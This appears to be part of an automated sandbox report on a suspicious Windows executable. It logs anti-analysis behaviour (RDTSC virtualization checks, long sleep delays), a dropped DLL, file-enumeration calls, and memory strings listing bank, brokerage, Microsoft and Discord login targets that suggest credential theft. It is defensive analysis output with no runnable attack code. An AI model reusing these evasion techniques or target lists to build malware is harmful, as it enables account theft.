Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	API/Special instruction interceptor: Address: 86ACFC6
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	API/Special instruction interceptor: Address: 5A2CFC6

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	RDTSC instruction interceptor: First address: 86840FC second address: 86840FC instructions: 0x00000000 rdtsc 0x00000002 cmp cx, bx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007EFEFCC9F507h 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	RDTSC instruction interceptor: First address: 5A040FC second address: 5A040FC instructions: 0x00000000 rdtsc 0x00000002 cmp cx, bx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007EFEFCC74C37h 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b rdtsc

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Memory allocated: 36B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Memory allocated: 36990000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 593985	Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Window / User API: threadDelayed 1029			Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Window / User API: threadDelayed 8784			Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

API coverage: 1.9 %

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4932	Thread sleep count: 1029 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4932	Thread sleep count: 8784 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe TID: 4920	Thread sleep time: -593985s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_004068D4 FindFirstFileW,FindClose,	0_2_004068D4
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C83
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00402930 FindFirstFileW,	3_2_00402930
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_004068D4 FindFirstFileW,FindClose,	3_2_004068D4
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405C83

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Thread delayed: delay time: 593985	Jump to behavior

Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd326d50cf3dca<
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
